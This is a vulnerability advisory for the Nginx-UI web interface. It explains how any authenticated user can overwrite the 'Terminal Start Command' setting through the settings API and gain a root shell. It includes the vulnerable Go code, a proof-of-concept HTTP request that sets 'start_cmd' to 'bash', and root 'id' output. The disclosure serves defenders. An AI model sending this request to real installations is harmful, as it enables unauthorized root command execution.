### Summary Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings. ### Details The `Home > Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn't allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13). ```go func InitPrivateRouter(r *gin.RouterGroup) { r.GET("settings", GetSettings) r.POST("settings", SaveSettings) ... } ``` The [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The `SaveSettings` function is defined as follows: ```go func SaveSettings(c *gin.Context) { var json struct { Server settings.Server `json:"server"` ... } ... settings.ServerSettings = json.Server ... err := settings.Save() ... } ``` The `Terminal Start Command` setting is stored as [`settings.ServerSettings.StartCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12). By spawning a terminal with [`Pty`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11), the `StartCmd` setting is used: ```go func Pty(c *gin.Context) { ... p, err := pty.NewPipeLine(ws) ... } ``` The [`NewPipeLine`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29) function is defined as follows: ```go func NewPipeLine(conn *websocket.Conn) (p *Pipeline, err error) { c := exec.Command(settings.ServerSettings.StartCmd) ... ``` This issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/). #### Proof of Concept > Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`. 1. Login as a newly created user. 2. Send the following request to modify the settings with `"start_cmd":"bash"` : ```http POST /api/settings HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 512 Authorization: <<JWT TOKEN>> Content-Type: application/json {"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"...","node_secret":"...","http_challenge_port":"9180","email":"...","database":"foo","start_cmd":"bash","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}} ``` 3. Open a terminal from the web interface and execute arbitrary commands as `root`: ``` root@1de46642d108:/app# id uid=0(root) gid=0(root) groups=0(root) ``` ### Impact This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.

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